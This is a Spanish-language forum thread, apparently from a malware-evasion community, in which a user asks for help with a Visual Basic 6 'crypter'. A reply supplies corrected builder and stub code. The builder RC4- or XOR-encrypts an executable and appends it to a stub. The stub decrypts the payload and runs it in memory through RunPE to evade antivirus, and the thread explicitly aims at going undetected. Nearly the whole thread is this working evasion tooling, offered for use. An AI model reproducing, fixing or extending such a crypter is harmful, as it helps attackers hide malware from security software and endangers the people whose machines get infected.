Indetectables

Pucha Queria perdirles ayuda este code del crypter Nose no funciona o tiene algo malo alguien me puede corregir ?

Code Crypter:

Código: Seleccionar todo

Private Sub Command1_Click()
 
With CD
   .DialogTitle = " Seleccione el Archivo Que desea EnCryptar!"
   .Filter = "Aplicaciones EXE|*.exe"
   .ShowOpen
End With

If Dir(CD.FileName) = vbNullString Then Exit Sub

Text1.Text = CD.FileName
 
 
End Sub

Private Sub Command2_Click()

Dim Stub As String

With CD
     .DialogTitle = "Selecciones Donde Guardar El Archivo"
     .Filter = "Aplicaciones EXE|*.exe"
     .ShowSave
End With

Open App.Path & "\" & "Stub.dll" For Binary As #1

     Stub = Space(LOF(1))
     Get #1, , Stub
Close #1
         
Dim EOF As String

If Check1.Value = 1 Then EOF = ReadEOFData(Text1.Text)

Dim Bin As String

Open Text1.Text For Binary As #1

    Bin = Space(LOF(1))
   
    Get #1, , Bin

Close #1

Dim RC4 As New clsRC4, xXor As New clsXOR

Dim Encryptacion As String

If Option1.Value = True Then
 
   
    Bin = RC4.EncryptString(Bin, Text2.Text)
   
    Encryptacion = "RC4"
End If

If Option2.Value = True Then

    Bin = xXor.EncryptString(Bin, Text2.Text)
   
    Encryptacion = "XOR"
   
End If

Dim Datos As String

 Datos = Stub & "Indetectables[$].net" & Bin & "Indetectables[$].net" & Encryptacion & "Indetectables[$].net" & Text2.Text & "Indetectables[$].net"
 
   
Open CD.FileName For Binary As #1
 
    Put #1, , Datos
   
Close #1


If Check1.Value = 1 Then Call WriteEOFData(CD.FileName, EOF)


End Sub
 


Private Sub Command3_Click()
Text2.Text = ""
For i = 0 To 16
    Text2.Text = Text2.Text & Mid("qwertyuiopasdfghjklñzxcvbnmQWERTYUIOPASDFGHJKLÑZXCVBNM1234567890", Rnd * 64 + 1, 1)
Next i
End Sub

Private Sub Form_Load()

End Sub

Code Del stub :

Código: Seleccionar todo

Sub Main()

Dim Misdatos As String

Open App.Path & "\" & appEXEnam & ".exe" For Binary As #1
     Misdatos = Space(LOF(1))
     Get #1, , Misdatos
Close #1

Dim xSplit() As String

xSplit = Split(Misdatos, "Indetectables[$].net")

'xSplit(0) = Stub
'xSplit(1) = el archivo encryptado
'xSplit(2) = la encryptacion que usa
'xSplit(3) La contraseña de desencryptacion

Dim RC4 As New clsRC4, xXor As New clsXOR


If xSplit(2) = "RC4" Then


     xSplit(1) = RC4.DecryptString(xSplit(1), xSplit(3))
     
 End If
 
 If xSplit(2) = "XOR" Then
 
      xSplit(1) = xXor.DecryptString(xSplit(1), xSplit(3))
 End If
 
 Dim hDatos() As Byte
 
 hDatos() = StrConv(xSplit(1), vbFromUnicode)
 
 Call RunPe(App.Path & "\" & App.EXEName & ".exe", hDatos(), Command)
 
 
End Sub

antes todo te digo que es una ripeada brutal del whitecrypter y si lo dejas asi literal te lo va a detectar asta el firewall de windows pero bueno y segundo usa solo una encriptacion......

crypter..

Código: Seleccionar todo

rivate Sub Command1_Click()
 
With CD
   .DialogTitle = " Seleccione el Archivo Que desea EnCryptar!"
   .Filter = "Aplicaciones EXE|*.exe"
   .ShowOpen
End With

If Dir(CD.FileName) = vbNullString Then Exit Sub

Text1.Text = CD.FileName
 
 
End Sub

Private Sub Command2_Click()

Dim Stub As String

With CD
     .DialogTitle = "Selecciones Donde Guardar El Archivo"
     .Filter = "Aplicaciones EXE|*.exe"
     .ShowSave
End With

Open App.Path & "\" & "Stub.dll" For Binary As #1

     Stub = Space(LOF(1))
     Get #1, , Stub
Close #1
         
Dim EOF As String

If Check1.Value = 1 Then EOF = ReadEOFData(Text1.Text)

Dim Bin As String

Open Text1.Text For Binary As #1

    Bin = Space(LOF(1))
   
    Get #1, , Bin

Close #1

Dim RC4 As New clsRC4

Dim Encryptacion As String
 Bin = RC4.EncryptString(Bin, Text2.Text)
   Encryptacion = "RC4"

Dim Datos As String

 Datos = Stub & "Indetectables[$].net" & Bin & "Indetectables[$].net" & Encryptacion & "Indetectables[$].net" & Text2.Text & "Indetectables[$].net"
 
   
Open CD.FileName For Binary As #1
 
    Put #1, , Datos
   
Close #1


If Check1.Value = 1 Then Call WriteEOFData(CD.FileName, EOF)


End Sub
 


Private Sub Command3_Click()
Text2.Text = ""
For i = 0 To 16
    Text2.Text = Text2.Text & Mid("qwertyuiopasdfghjklñzxcvbnmQWERTYUIOPASDFGHJKLÑZXCVBNM1234567890", Rnd * 64 + 1, 1)
Next i
End Sub

Private Sub Form_Load()

End Sub

sutb....

Código: Seleccionar todo

Sub Main()

Dim Misdatos As String

Open App.Path & "\" & appEXEnam & ".exe" For Binary As #1
     Misdatos = Space(LOF(1))
     Get #1, , Misdatos
Close #1

Dim xSplit() As String

xSplit = Split(Misdatos, "Indetectables[$].net")


Dim RC4 As New clsRC4

     xSplit(1) = RC4.DecryptString(xSplit(1), xSplit(3))
     
 Dim hDatos() As Byte
 
 hDatos() = StrConv(xSplit(1), vbFromUnicode)
 
 Call RunPe(App.Path & "\" & App.EXEName & ".exe", hDatos(), Command)
 
 
End Sub

que no se te olvide porner el runpe y la encriptacion RC4 y que al runpe se le llame por ese call alomejor es otro runpe y es call inject depende....

Indetectables

Ayudaa con el code

Ayudaa con el code

Re: Ayudaa con el code